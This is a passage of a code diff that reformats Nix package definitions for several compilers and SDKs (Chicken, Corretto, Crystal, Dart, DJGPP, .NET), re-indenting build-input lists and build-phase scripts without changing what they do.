+    "POSTINSTALL_PROGRAM=install_name_tool"
+  ])
+  ++ (lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    "HOSTSYSTEM=${stdenv.hostPlatform.config}"
+    "TARGET_C_COMPILER=${stdenv.cc}/bin/${stdenv.cc.targetPrefix}cc"
+    "TARGET_CXX_COMPILER=${stdenv.cc}/bin/${stdenv.cc.targetPrefix}c++"
+  ]);
 
-  nativeBuildInputs =
-    [
-      makeWrapper
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      darwin.autoSignDarwinBinariesHook
-    ];
+  nativeBuildInputs = [
+    makeWrapper
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    darwin.autoSignDarwinBinariesHook
+  ];
 
   buildInputs = lib.optionals (bootstrap-chicken != null) [
     bootstrap-chicken
diff --git a/pkgs/development/compilers/chicken/5/eggDerivation.nix b/pkgs/development/compilers/chicken/5/eggDerivation.nix
index 623e1ab5560f..8ac4c0aa0890 100644
--- a/pkgs/development/compilers/chicken/5/eggDerivation.nix
+++ b/pkgs/development/compilers/chicken/5/eggDerivation.nix
@@ -62,7 +62,8 @@ in
 
     meta = {
       inherit (chicken.meta) platforms;
-    } // args.meta or { };
+    }
+    // args.meta or { };
   }
   // builtins.removeAttrs args [
     "name"
diff --git a/pkgs/development/compilers/corretto/mk-corretto.nix b/pkgs/development/compilers/corretto/mk-corretto.nix
index 5395edf5c3c2..b40c34167537 100644
--- a/pkgs/development/compilers/corretto/mk-corretto.nix
+++ b/pkgs/development/compilers/corretto/mk-corretto.nix
@@ -67,27 +67,24 @@ jdk.overrideAttrs (
       else
         ":installers:linux:universal:tar:packageBuildResults";
 
-    postBuild =
-      ''
-        # Prepare for the installPhase so that it looks like if a normal
-        # OpenJDK had been built.
-        dir=build/jdkImageName/images
-        mkdir -p $dir
-        file=$(find ./installers -name 'amazon-corretto-${version}*.tar.gz')
-        tar -xzf $file -C $dir
-        mv $dir/amazon-corretto-* $dir/jdk
-      ''
-      + oldAttrs.postBuild or "";
+    postBuild = ''
+      # Prepare for the installPhase so that it looks like if a normal
+      # OpenJDK had been built.
+      dir=build/jdkImageName/images
+      mkdir -p $dir
+      file=$(find ./installers -name 'amazon-corretto-${version}*.tar.gz')
+      tar -xzf $file -C $dir
+      mv $dir/amazon-corretto-* $dir/jdk
+    ''
+    + oldAttrs.postBuild or "";
 
-    installPhase =
-      oldAttrs.installPhase
-      + ''
-        # The installPhase will place everything in $out/lib/openjdk and
-        # reference through symlinks. We don't rewrite the installPhase but at
-        # least move the folder to convey that this is not OpenJDK anymore.
-        mv $out/lib/openjdk $out/lib/corretto
-        ln -s $out/lib/corretto $out/lib/openjdk
-      '';
+    installPhase = oldAttrs.installPhase + ''
+      # The installPhase will place everything in $out/lib/openjdk and
+      # reference through symlinks. We don't rewrite the installPhase but at
+      # least move the folder to convey that this is not OpenJDK anymore.
+      mv $out/lib/openjdk $out/lib/corretto
+      ln -s $out/lib/corretto $out/lib/openjdk
+    '';
 
     passthru =
       let
diff --git a/pkgs/development/compilers/crystal/default.nix b/pkgs/development/compilers/crystal/default.nix
index f87a4a0ab37d..e62872f3ece3 100644
--- a/pkgs/development/compilers/crystal/default.nix
+++ b/pkgs/development/compilers/crystal/default.nix
@@ -120,48 +120,47 @@ let
         "bin"
       ];
 
-      postPatch =
-        ''
-          export TMP=$(mktemp -d)
-          export HOME=$TMP
-          export TMPDIR=$TMP
-          mkdir -p $HOME/test
+      postPatch = ''
+        export TMP=$(mktemp -d)
+        export HOME=$TMP
+        export TMPDIR=$TMP
+        mkdir -p $HOME/test
 
-          # Add dependency of crystal to docs to avoid issue on flag changes between releases
-          # https://github.com/crystal-lang/crystal/pull/8792#issuecomment-614004782
-          substituteInPlace Makefile \
-            --replace 'docs: ## Generate standard library documentation' 'docs: crystal ## Generate standard library documentation'
+        # Add dependency of crystal to docs to avoid issue on flag changes between releases
+        # https://github.com/crystal-lang/crystal/pull/8792#issuecomment-614004782
+        substituteInPlace Makefile \
+          --replace 'docs: ## Generate standard library documentation' 'docs: crystal ## Generate standard library documentation'
 
-          mkdir -p $TMP/crystal
+        mkdir -p $TMP/crystal
 
-          substituteInPlace spec/std/file_spec.cr \
-            --replace '/bin/ls' '${coreutils}/bin/ls' \
-            --replace '/usr/share' "$TMP/crystal" \
-            --replace '/usr' "$TMP" \
-            --replace '/tmp' "$TMP"
+        substituteInPlace spec/std/file_spec.cr \
+          --replace '/bin/ls' '${coreutils}/bin/ls' \
+          --replace '/usr/share' "$TMP/crystal" \
+          --replace '/usr' "$TMP" \
+          --replace '/tmp' "$TMP"
 
-          substituteInPlace spec/std/process_spec.cr \
-            --replace '/bin/cat' '${coreutils}/bin/cat' \
-            --replace '/bin/ls' '${coreutils}/bin/ls' \
-            --replace '/usr/bin/env' '${coreutils}/bin/env' \
-            --replace '"env"' '"${coreutils}/bin/env"' \
-            --replace '/usr' "$TMP" \
-            --replace '/tmp' "$TMP"
+        substituteInPlace spec/std/process_spec.cr \
+          --replace '/bin/cat' '${coreutils}/bin/cat' \
+          --replace '/bin/ls' '${coreutils}/bin/ls' \
+          --replace '/usr/bin/env' '${coreutils}/bin/env' \
+          --replace '"env"' '"${coreutils}/bin/env"' \
+          --replace '/usr' "$TMP" \
+          --replace '/tmp' "$TMP"
 
-          substituteInPlace spec/std/system_spec.cr \
-            --replace '`hostname`' '`${hostname}/bin/hostname`'
+        substituteInPlace spec/std/system_spec.cr \
+          --replace '`hostname`' '`${hostname}/bin/hostname`'
 
-          # See https://github.com/crystal-lang/crystal/issues/8629
-          substituteInPlace spec/std/socket/udp_socket_spec.cr \
-            --replace 'it "joins and transmits to multicast groups"' 'pending "joins and transmits to multicast groups"'
+        # See https://github.com/crystal-lang/crystal/issues/8629
+        substituteInPlace spec/std/socket/udp_socket_spec.cr \
+          --replace 'it "joins and transmits to multicast groups"' 'pending "joins and transmits to multicast groups"'
 
-        ''
-        + lib.optionalString (stdenv.cc.isClang && (stdenv.cc.libcxx != null)) ''
-          # Darwin links against libc++ not libstdc++. Newer versions of clang (12+) require
-          # libc++abi to be linked explicitly (see https://github.com/NixOS/nixpkgs/issues/166205).
-          substituteInPlace src/llvm/lib_llvm.cr \
-            --replace '@[Link("stdc++")]' '@[Link("c++")]'
-        '';
+      ''
+      + lib.optionalString (stdenv.cc.isClang && (stdenv.cc.libcxx != null)) ''
+        # Darwin links against libc++ not libstdc++. Newer versions of clang (12+) require
+        # libc++abi to be linked explicitly (see https://github.com/NixOS/nixpkgs/issues/166205).
+        substituteInPlace src/llvm/lib_llvm.cr \
+          --replace '@[Link("stdc++")]' '@[Link("c++")]'
+      '';
 
       # Defaults are 4
       preBuild = ''
@@ -180,18 +179,17 @@ let
         llvmPackages.llvm
         installShellFiles
       ];
-      buildInputs =
-        [
-          boehmgc
-          pcre2
-          libevent
-          libyaml
-          zlib
-          libxml2
-          openssl
-        ]
-        ++ extraBuildInputs
-        ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
+      buildInputs = [
+        boehmgc
+        pcre2
+        libevent
+        libyaml
+        zlib
+        libxml2
+        openssl
+      ]
+      ++ extraBuildInputs
+      ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
 
       makeFlags = [
         "CRYSTAL_CONFIG_VERSION=${version}"
diff --git a/pkgs/development/compilers/dart/default.nix b/pkgs/development/compilers/dart/default.nix
index a97cb6f9aa82..86032653ba2d 100644
--- a/pkgs/development/compilers/dart/default.nix
+++ b/pkgs/development/compilers/dart/default.nix
@@ -21,15 +21,14 @@ stdenv.mkDerivation (finalAttrs: {
     sources."${version}-${stdenv.hostPlatform.system}"
       or (throw "unsupported version/system: ${version}/${stdenv.hostPlatform.system}");
 
-  installPhase =
-    ''
-      mkdir -p $out
-      cp -R * $out/
-      echo $libPath
-    ''
-    + lib.optionalString (stdenv.hostPlatform.isLinux) ''
-      find $out/bin -executable -type f -exec patchelf --set-interpreter $(cat $NIX_CC/nix-support/dynamic-linker) {} \;
-    '';
+  installPhase = ''
+    mkdir -p $out
+    cp -R * $out/
+    echo $libPath
+  ''
+  + lib.optionalString (stdenv.hostPlatform.isLinux) ''
+    find $out/bin -executable -type f -exec patchelf --set-interpreter $(cat $NIX_CC/nix-support/dynamic-linker) {} \;
+  '';
 
   libPath = lib.makeLibraryPath [ stdenv.cc.cc ];
   dontStrip = true;
@@ -48,12 +47,13 @@ stdenv.mkDerivation (finalAttrs: {
       testCompile =
         runCommand "dart-test-compile"
           {
-            nativeBuildInputs =
-              [ finalAttrs.finalPackage ]
-              ++ lib.optionals stdenv.hostPlatform.isDarwin [
-                cctools
-                darwin.sigtool
-              ];
+            nativeBuildInputs = [
+              finalAttrs.finalPackage
+            ]
+            ++ lib.optionals stdenv.hostPlatform.isDarwin [
+              cctools
+              darwin.sigtool
+            ];
           }
           ''
             HELLO_MESSAGE="Hello, world!"
diff --git a/pkgs/development/compilers/djgpp/default.nix b/pkgs/development/compilers/djgpp/default.nix
index 9b901b9beeca..20ab73d1e08c 100644
--- a/pkgs/development/compilers/djgpp/default.nix
+++ b/pkgs/development/compilers/djgpp/default.nix
@@ -28,24 +28,23 @@ stdenv.mkDerivation rec {
   version = s.gccVersion;
   src = s.src;
 
-  patchPhase =
-    ''
-      runHook prePatch
-      for f in "build-djgpp.sh" "script/${version}" "setenv/copyfile.sh"; do
-        substituteInPlace "$f" --replace '/usr/bin/env' '${buildPackages.coreutils}/bin/env'
-      done
-    ''
-    # i686 patches from https://github.com/andrewwutw/build-djgpp/issues/45#issuecomment-1484010755
-    # The build script unpacks some files so we can't patch ahead of time, instead patch the script
-    # to patch after it extracts
+  patchPhase = ''
+    runHook prePatch
+    for f in "build-djgpp.sh" "script/${version}" "setenv/copyfile.sh"; do
+      substituteInPlace "$f" --replace '/usr/bin/env' '${buildPackages.coreutils}/bin/env'
+    done
+  ''
+  # i686 patches from https://github.com/andrewwutw/build-djgpp/issues/45#issuecomment-1484010755
+  # The build script unpacks some files so we can't patch ahead of time, instead patch the script
+  # to patch after it extracts
 
-    + lib.optionalString (targetArchitecture == "i686") ''
-      sed -i 's/i586/i686/g' setenv/setenv script/${version}
-      sed -i '/Building DXE tools./a sed -i "s/i586/i686/g" src/makefile.def src/dxe/makefile.dxe' script/${version}
-    ''
-    + ''
-      runHook postPatch
-    '';
+  + lib.optionalString (targetArchitecture == "i686") ''
+    sed -i 's/i586/i686/g' setenv/setenv script/${version}
+    sed -i '/Building DXE tools./a sed -i "s/i586/i686/g" src/makefile.def src/dxe/makefile.dxe' script/${version}
+  ''
+  + ''
+    runHook postPatch
+  '';
 
   nativeBuildInputs = [
     makeWrapper
diff --git a/pkgs/development/compilers/dotnet/build-dotnet.nix b/pkgs/development/compilers/dotnet/build-dotnet.nix
index 224d849e18a4..4d0568228c4e 100644
--- a/pkgs/development/compilers/dotnet/build-dotnet.nix
+++ b/pkgs/development/compilers/dotnet/build-dotnet.nix
@@ -102,15 +102,14 @@ mkWrapper type (
     inherit pname version;
 
     # Some of these dependencies are `dlopen()`ed.
-    nativeBuildInputs =
-      [
-        makeWrapper
-      ]
-      ++ lib.optional stdenv.hostPlatform.isLinux autoPatchelfHook
-      ++ lib.optionals (type == "sdk" && stdenv.hostPlatform.isDarwin) [
-        xmlstarlet
-        sigtool
-      ];
+    nativeBuildInputs = [
+      makeWrapper
+    ]
+    ++ lib.optional stdenv.hostPlatform.isLinux autoPatchelfHook
+    ++ lib.optionals (type == "sdk" && stdenv.hostPlatform.isDarwin) [
+      xmlstarlet
+      sigtool
+    ];
 
     buildInputs = [
       stdenv.cc.cc
@@ -119,7 +118,8 @@ mkWrapper type (
       libkrb5
       curl
       xmlstarlet
-    ] ++ lib.optional stdenv.hostPlatform.isLinux lttng-ust_2_12;
+    ]
+    ++ lib.optional stdenv.hostPlatform.isLinux lttng-ust_2_12;
 
     src = fetchurl (
       srcs.${hostRid} or (throw "Missing source (url and hash) for host RID: ${hostRid}")
@@ -190,33 +190,32 @@ mkWrapper type (
                          (global-name "com.apple.system.opendirectoryd.membership"))
     '';
 
-    passthru =
+    passthru = {
+      inherit icu hasILCompiler;
+    }
+    // lib.optionalAttrs (type == "sdk") (
+      let
+        # force evaluation of the SDK package to ensure evaluation failures
+        # (e.g. due to vulnerabilities) propagate to the nuget packages
+        forceSDKEval = builtins.seq finalAttrs.finalPackage.drvPath;
+      in
       {
-        inherit icu hasILCompiler;
-      }
-      // lib.optionalAttrs (type == "sdk") (
-        let
-          # force evaluation of the SDK package to ensure evaluation failures
-          # (e.g. due to vulnerabilities) propagate to the nuget packages
-          forceSDKEval = builtins.seq finalAttrs.finalPackage.drvPath;
-        in
-        {
-          packages = map forceSDKEval (
-            commonPackages ++ hostPackages.${hostRid} ++ targetPackages.${targetRid}
-          );
-          targetPackages = lib.mapAttrs (_: map forceSDKEval) targetPackages;
-          inherit runtime aspnetcore;
+        packages = map forceSDKEval (
+          commonPackages ++ hostPackages.${hostRid} ++ targetPackages.${targetRid}
+        );
+        targetPackages = lib.mapAttrs (_: map forceSDKEval) targetPackages;
+        inherit runtime aspnetcore;
 
-          updateScript =
-            let
-              majorVersion = lib.concatStringsSep "." (lib.take 2 (lib.splitVersion version));
-            in
-            [
-              ./update.sh
-              majorVersion
-            ];
-        }
-      );
+        updateScript =
+          let
+            majorVersion = lib.concatStringsSep "." (lib.take 2 (lib.splitVersion version));
+          in
+          [
+            ./update.sh
+            majorVersion
+          ];
+      }
+    );
 
     meta = with lib; {
       description = builtins.getAttr type descriptions;
diff --git a/pkgs/development/compilers/dotnet/combine-packages.nix b/pkgs/development/compilers/dotnet/combine-packages.nix
index f755c1065410..1b08615b56e8 100644
--- a/pkgs/development/compilers/dotnet/combine-packages.nix
+++ b/pkgs/development/compilers/dotnet/combine-packages.nix
@@ -35,17 +35,16 @@ mkWrapper "sdk" (
     ];
     ignoreCollisions = true;
     nativeBuildInputs = [ makeWrapper ];
-    postBuild =
-      ''
-        mkdir -p "$out"/share/dotnet
-        cp "${cli}"/share/dotnet/dotnet $out/share/dotnet
-        cp -R "${cli}"/nix-support "$out"/
-        mkdir "$out"/bin
-        ln -s "$out"/share/dotnet/dotnet "$out"/bin/dotnet
-      ''
-      + lib.optionalString (cli ? man) ''
-        ln -s ${cli.man} $man
-      '';
+    postBuild = ''
+      mkdir -p "$out"/share/dotnet
+      cp "${cli}"/share/dotnet/dotnet $out/share/dotnet
+      cp -R "${cli}"/nix-support "$out"/
+      mkdir "$out"/bin
+      ln -s "$out"/share/dotnet/dotnet "$out"/bin/dotnet
+    ''
+    + lib.optionalString (cli ? man) ''
+      ln -s ${cli.man} $man
+    '';
     passthru = {
       pname = "dotnet";
       version = "combined";
diff --git a/pkgs/development/compilers/dotnet/default.nix b/pkgs/development/compilers/dotnet/default.nix
index 44430d04b5d1..d44bf2705d05 100644
--- a/pkgs/development/compilers/dotnet/default.nix
+++ b/pkgs/development/compilers/dotnet/default.nix
@@ -116,13 +116,12 @@ let
           (old: {
             name = overlay.unwrapped.name;
             # resolve symlinks so DOTNET_ROOT is self-contained
-            postBuild =
-              ''
-                mv "$out"/share/dotnet{,~}
-                cp -Lr "$out"/share/dotnet{~,}
-                rm -r "$out"/share/dotnet~
-              ''
-              + old.postBuild;
+            postBuild = ''
+              mv "$out"/share/dotnet{,~}
+              cp -Lr "$out"/share/dotnet{~,}
+              rm -r "$out"/share/dotnet~
+            ''
+            + old.postBuild;
             passthru =
               old.passthru
               // (
diff --git a/pkgs/development/compilers/dotnet/packages.nix b/pkgs/development/compilers/dotnet/packages.nix
index 0ad73f45a886..93538bf51212 100644
--- a/pkgs/development/compilers/dotnet/packages.nix
+++ b/pkgs/development/compilers/dotnet/packages.nix
@@ -20,11 +20,9 @@ let
         args
         // {
           outputs = args.outputs or [ "out" ] ++ [ "man" ];
-          postFixup =
-            args.postFixup or ""
-            + ''
-              ln -s ${vmr.man} $man
-            '';
+          postFixup = args.postFixup or "" + ''
+            ln -s ${vmr.man} $man
+          '';
           propagatedSandboxProfile = lib.optionalString stdenvNoCC.hostPlatform.isDarwin ''
             (allow file-read* (subpath "/private/var/db/mds/system"))
             (allow mach-lookup (global-name "com.apple.SecurityServer")
@@ -86,36 +84,34 @@ let
       '';
     };
 
-  packages =
-    [
-      (mkPackage "Microsoft.AspNetCore.App.Ref" aspnetcore.version)
-      (mkPackage "Microsoft.NETCore.DotNetAppHost" runtime.version)
-      (mkPackage "Microsoft.NETCore.App.Ref" runtime.version)
-      (mkPackage "Microsoft.DotNet.ILCompiler" runtime.version)
-      (mkPackage "Microsoft.NET.ILLink.Tasks" runtime.version)
-      (mkPackage "Microsoft.NETCore.App.Crossgen2.${hostRid}" runtime.version)
-      (mkPackage "runtime.${hostRid}.Microsoft.DotNet.ILCompiler" runtime.version)
-    ]
-    ++ lib.optionals (lib.versionOlder runtime.version "9") [
-      (mkPackage "Microsoft.NETCore.DotNetHost" runtime.version)
-      (mkPackage "Microsoft.NETCore.DotNetHostPolicy" runtime.version)
-      (mkPackage "Microsoft.NETCore.DotNetHostResolver" runtime.version)
-    ]
-    ++ targetPackages.${targetRid};
+  packages = [
+    (mkPackage "Microsoft.AspNetCore.App.Ref" aspnetcore.version)
+    (mkPackage "Microsoft.NETCore.DotNetAppHost" runtime.version)
+    (mkPackage "Microsoft.NETCore.App.Ref" runtime.version)
+    (mkPackage "Microsoft.DotNet.ILCompiler" runtime.version)
+    (mkPackage "Microsoft.NET.ILLink.Tasks" runtime.version)
+    (mkPackage "Microsoft.NETCore.App.Crossgen2.${hostRid}" runtime.version)
+    (mkPackage "runtime.${hostRid}.Microsoft.DotNet.ILCompiler" runtime.version)
+  ]
+  ++ lib.optionals (lib.versionOlder runtime.version "9") [
+    (mkPackage "Microsoft.NETCore.DotNetHost" runtime.version)
+    (mkPackage "Microsoft.NETCore.DotNetHostPolicy" runtime.version)
+    (mkPackage "Microsoft.NETCore.DotNetHostResolver" runtime.version)
+  ]
+  ++ targetPackages.${targetRid};
 
   targetPackages = fallbackTargetPackages // {
-    ${targetRid} =
-      [
-        (mkPackage "Microsoft.AspNetCore.App.Runtime.${targetRid}" aspnetcore.version)
-        (mkPackage "Microsoft.NETCore.App.Host.${targetRid}" runtime.version)
-        (mkPackage "Microsoft.NETCore.App.Runtime.${targetRid}" runtime.version)
-        (mkPackage "runtime.${targetRid}.Microsoft.NETCore.DotNetAppHost" runtime.version)
-      ]
-      ++ lib.optionals (lib.versionOlder runtime.version "9") [
-        (mkPackage "runtime.${targetRid}.Microsoft.NETCore.DotNetHost" runtime.version)
-        (mkPackage "runtime.${targetRid}.Microsoft.NETCore.DotNetHostPolicy" runtime.version)
-        (mkPackage "runtime.${targetRid}.Microsoft.NETCore.DotNetHostResolver" runtime.version)
-      ];
+    ${targetRid} = [
+      (mkPackage "Microsoft.AspNetCore.App.Runtime.${targetRid}" aspnetcore.version)
+      (mkPackage "Microsoft.NETCore.App.Host.${targetRid}" runtime.version)
+      (mkPackage "Microsoft.NETCore.App.Runtime.${targetRid}" runtime.version)
+      (mkPackage "runtime.${targetRid}.Microsoft.NETCore.DotNetAppHost" runtime.version)
+    ]
+    ++ lib.optionals (lib.versionOlder runtime.version "9") [
+      (mkPackage "runtime.${targetRid}.Microsoft.NETCore.DotNetHost" runtime.version)
+      (mkPackage "runtime.${targetRid}.Microsoft.NETCore.DotNetHostPolicy" runtime.version)
+      (mkPackage "runtime.${targetRid}.Microsoft.NETCore.DotNetHostResolver" runtime.version)
+    ];
   };
 
   sdk = mkCommon "sdk" rec {
diff --git a/pkgs/development/compilers/dotnet/sigtool.nix b/pkgs/development/compilers/dotnet/sigtool.nix
index 04e0d5215098..6d45a76c1699 100644
--- a/pkgs/development/compilers/dotnet/sigtool.nix
+++ b/pkgs/development/compilers/dotnet/sigtool.nix
@@ -19,11 +19,9 @@ darwin.sigtool.overrideAttrs (old: {
     makeWrapper
   ];
 
-  postInstall =
-    old.postInstall or ""
-    + ''
-      wrapProgram $out/bin/codesign \
-        --set-default CODESIGN_ALLOCATE \
-          "${cctools}/bin/${cctools.targetPrefix}codesign_allocate"
-    '';
+  postInstall = old.postInstall or "" + ''
+    wrapProgram $out/bin/codesign \
+      --set-default CODESIGN_ALLOCATE \
+        "${cctools}/bin/${cctools.targetPrefix}codesign_allocate"
+  '';
 })
diff --git a/pkgs/development/compilers/dotnet/stage0.nix b/pkgs/development/compilers/dotnet/stage0.nix
index efac815de716..e4eca4180c39 100644
--- a/pkgs/development/compilers/dotnet/stage0.nix
+++ b/pkgs/development/compilers/dotnet/stage0.nix
@@ -57,23 +57,19 @@ let
           patchNupkgs
         ];
 
-        postPatch =
-          old.postPatch or ""
-          + ''
-            xmlstarlet ed \
-              --inplace \
-              -s //Project -t elem -n Import \
-              -i \$prev -t attr -n Project -v "${./patch-restored-packages.proj}" \
-              src/*/Directory.Build.targets
-          '';
+        postPatch = old.postPatch or "" + ''
+          xmlstarlet ed \
+            --inplace \
+            -s //Project -t elem -n Import \
+            -i \$prev -t attr -n Project -v "${./patch-restored-packages.proj}" \
+            src/*/Directory.Build.targets
+        '';
 
-        postConfigure =
-          old.postConfigure or ""
-          + ''
-            [[ ! -v prebuiltPackages ]] || \
-              ln -sf "$prebuiltPackages"/share/nuget/source/*/*/*.nupkg prereqs/packages/prebuilt/
-            ln -sf "${sdkPackages}"/share/nuget/source/*/*/*.nupkg prereqs/packages/prebuilt/
-          '';
+        postConfigure = old.postConfigure or "" + ''
+          [[ ! -v prebuiltPackages ]] || \
+            ln -sf "$prebuiltPackages"/share/nuget/source/*/*/*.nupkg prereqs/packages/prebuilt/
+          ln -sf "${sdkPackages}"/share/nuget/source/*/*/*.nupkg prereqs/packages/prebuilt/
+        '';
 
         buildFlags =
           old.buildFlags
@@ -118,33 +114,31 @@ let
                   nuget-to-json
                   jq
                 ];
-                postPatch =
-                  old.postPatch or ""
-                  + ''
+                postPatch = old.postPatch or "" + ''
+                  xmlstarlet ed \
+                    --inplace \
+                    -s //Project -t elem -n Import \
+                    -i \$prev -t attr -n Project -v "${./record-downloaded-packages.proj}" \
+                    repo-projects/Directory.Build.targets
+
+                  # make nuget-client use the standard arcade package-cache dir, which
+                  # is where we scan for dependencies
+                  xmlstarlet ed \
+                    --inplace \
+                    -s //Project -t elem -n ItemGroup \
+                    -s \$prev -t elem -n EnvironmentVariables \
+                    -i \$prev -t attr -n Include -v 'NUGET_PACKAGES=$(ProjectDirectory)artifacts/sb/package-cache/' \
+                    repo-projects/nuget-client.proj
+
+                  # https://github.com/dotnet/dotnet/pull/546
+                  for proj in arcade nuget-client; do
                     xmlstarlet ed \
                       --inplace \
-                      -s //Project -t elem -n Import \
-                      -i \$prev -t attr -n Project -v "${./record-downloaded-packages.proj}" \
-                      repo-projects/Directory.Build.targets
-
-                    # make nuget-client use the standard arcade package-cache dir, which
-                    # is where we scan for dependencies
-                    xmlstarlet ed \
-                      --inplace \
-                      -s //Project -t elem -n ItemGroup \
-                      -s \$prev -t elem -n EnvironmentVariables \
-                      -i \$prev -t attr -n Include -v 'NUGET_PACKAGES=$(ProjectDirectory)artifacts/sb/package-cache/' \
-                      repo-projects/nuget-client.proj
-
-                    # https://github.com/dotnet/dotnet/pull/546
-                    for proj in arcade nuget-client; do
-                      xmlstarlet ed \
-                        --inplace \
-                        -s //Project -t elem -n PropertyGroup \
-                        -s \$prev -t elem -n NoWarn -v '$(NoWarn);NU1901' \
-                        src/$proj/Directory.Build.props
-                    done
-                  '';
+                      -s //Project -t elem -n PropertyGroup \
+                      -s \$prev -t elem -n NoWarn -v '$(NoWarn);NU1901' \
+                      src/$proj/Directory.Build.props
+                  done
+                '';
                 buildFlags = [ "--online" ] ++ old.buildFlags;
                 prebuiltPackages = null;
               });
diff --git a/pkgs/development/compilers/dotnet/vmr.nix b/pkgs/development/compilers/dotnet/vmr.nix
index 026890386221..ff029423255a 100644
--- a/pkgs/development/compilers/dotnet/vmr.nix
+++ b/pkgs/development/compilers/dotnet/vmr.nix
@@ -73,50 +73,48 @@ stdenv.mkDerivation rec {
     hash = tarballHash;
   };
 
-  nativeBuildInputs =
-    [
-      ensureNewerSourcesForZipFilesHook
-      jq
-      curl.bin
-      git
-      cmake
-      pkg-config
-      python3
-      xmlstarlet
-      unzip
-      yq
-      installShellFiles
-    ]
-    ++ lib.optionals (lib.versionAtLeast version "9") [
-      nodejs
-    ]
-    ++ lib.optionals (lib.versionAtLeast version "10") [
-      cpio
-    ]
-    ++ lib.optionals isDarwin [
-      getconf
-    ];
+  nativeBuildInputs = [
+    ensureNewerSourcesForZipFilesHook
+    jq
+    curl.bin
+    git
+    cmake
+    pkg-config
+    python3
+    xmlstarlet
+    unzip
+    yq
+    installShellFiles
+  ]
+  ++ lib.optionals (lib.versionAtLeast version "9") [
+    nodejs
+  ]
+  ++ lib.optionals (lib.versionAtLeast version "10") [
+    cpio
+  ]
+  ++ lib.optionals isDarwin [
+    getconf
+  ];
 
-  buildInputs =
-    [
-      # this gets copied into the tree, but we still need the sandbox profile
-      bootstrapSdk
-      # the propagated build inputs in llvm.dev break swift compilation
-      llvm.out
-      zlib
-      _icu
-      openssl
-    ]
-    ++ lib.optionals isLinux [
-      krb5
-      lttng-ust_2_12
-    ]
-    ++ lib.optionals isDarwin [
-      xcbuild
-      swift
-      krb5
-      sigtool
-    ];
+  buildInputs = [
+    # this gets copied into the tree, but we still need the sandbox profile
+    bootstrapSdk
+    # the propagated build inputs in llvm.dev break swift compilation
+    llvm.out
+    zlib
+    _icu
+    openssl
+  ]
+  ++ lib.optionals isLinux [
+    krb5
+    lttng-ust_2_12
+  ]
+  ++ lib.optionals isDarwin [
+    xcbuild
+    swift
+    krb5
+    sigtool
+  ];
 
   # This is required to fix the error:
   # > CSSM_ModuleLoad(): One or more parameters passed to a function were not valid.
@@ -146,218 +144,216 @@ stdenv.mkDerivation rec {
       ./source-build-externals-overwrite-rather-than-append-.patch
     ];
 
-  postPatch =
+  postPatch = ''
+    # set the sdk version in global.json to match the bootstrap sdk
+    sdk_version=$(HOME=$(mktemp -d) ${bootstrapSdk}/bin/dotnet --version)
+    jq '(.tools.dotnet=$dotnet)' global.json --arg dotnet "$sdk_version" > global.json~
+    mv global.json{~,}
+
+    patchShebangs $(find -name \*.sh -type f -executable)
+
+    # I'm not sure why this is required, but these files seem to use the wrong
+    # property name.
+    # TODO: not needed in 9.0?
+    [[ ! -f src/xliff-tasks/eng/Versions.props ]] || \
+      sed -i 's:\bVersionBase\b:VersionPrefix:g' \
+        src/xliff-tasks/eng/Versions.props
+
+    # at least in 9.0 preview 1, this package depends on a specific beta build
+    # of System.CommandLine
+    xmlstarlet ed \
+      --inplace \
+      -s //Project -t elem -n PropertyGroup \
+      -s \$prev -t elem -n NoWarn -v '$(NoWarn);NU1603' \
+      src/nuget-client/src/NuGet.Core/NuGet.CommandLine.XPlat/NuGet.CommandLine.XPlat.csproj
+
+    # AD0001 crashes intermittently in source-build-reference-packages with
+    # CSC : error AD0001: Analyzer 'Microsoft.NetCore.CSharp.Analyzers.Runtime.CSharpDetectPreviewFeatureAnalyzer' threw an exception of type 'System.NullReferenceException' with message 'Object reference not set to an instance of an object.'.
+    # possibly related to https://github.com/dotnet/runtime/issues/90356
+    xmlstarlet ed \
+      --inplace \
+      -s //Project -t elem -n PropertyGroup \
+      -s \$prev -t elem -n NoWarn -v '$(NoWarn);AD0001' \
+      src/source-build-reference-packages/src/referencePackages/Directory.Build.props
+
+    # https://github.com/microsoft/ApplicationInsights-dotnet/issues/2848
+    xmlstarlet ed \
+      --inplace \
+      -u //_:Project/_:PropertyGroup/_:BuildNumber -v 0 \
+      src/source-build-externals/src/${lib.optionalString (lib.versionAtLeast version "10") "repos/src/"}application-insights/.props/_GlobalStaticVersion.props
+
+    # this fixes compile errors with clang 15 (e.g. darwin)
+    substituteInPlace \
+      src/runtime/src/native/libs/CMakeLists.txt \
+      --replace-fail 'add_compile_options(-Weverything)' 'add_compile_options(-Wall)'
+
+    # strip native symbols in runtime
+    # see: https://github.com/dotnet/source-build/issues/2543
+    xmlstarlet ed \
+      --inplace \
+      -s //Project -t elem -n PropertyGroup \
+      -s \$prev -t elem -n KeepNativeSymbols -v false \
+      src/runtime/Directory.Build.props
+  ''
+  + lib.optionalString (lib.versionAtLeast version "9") (
     ''
-      # set the sdk version in global.json to match the bootstrap sdk
-      sdk_version=$(HOME=$(mktemp -d) ${bootstrapSdk}/bin/dotnet --version)
-      jq '(.tools.dotnet=$dotnet)' global.json --arg dotnet "$sdk_version" > global.json~
-      mv global.json{~,}
-
-      patchShebangs $(find -name \*.sh -type f -executable)
-
-      # I'm not sure why this is required, but these files seem to use the wrong
-      # property name.
-      # TODO: not needed in 9.0?
-      [[ ! -f src/xliff-tasks/eng/Versions.props ]] || \
-        sed -i 's:\bVersionBase\b:VersionPrefix:g' \
-          src/xliff-tasks/eng/Versions.props
-
-      # at least in 9.0 preview 1, this package depends on a specific beta build
-      # of System.CommandLine
+      # repro.csproj fails to restore due to missing freebsd packages
       xmlstarlet ed \
         --inplace \
         -s //Project -t elem -n PropertyGroup \
-        -s \$prev -t elem -n NoWarn -v '$(NoWarn);NU1603' \
-        src/nuget-client/src/NuGet.Core/NuGet.CommandLine.XPlat/NuGet.CommandLine.XPlat.csproj
+        -s \$prev -t elem -n RuntimeIdentifiers -v ${targetRid} \
+        src/runtime/src/coreclr/tools/aot/ILCompiler/repro/repro.csproj
 
-      # AD0001 crashes intermittently in source-build-reference-packages with
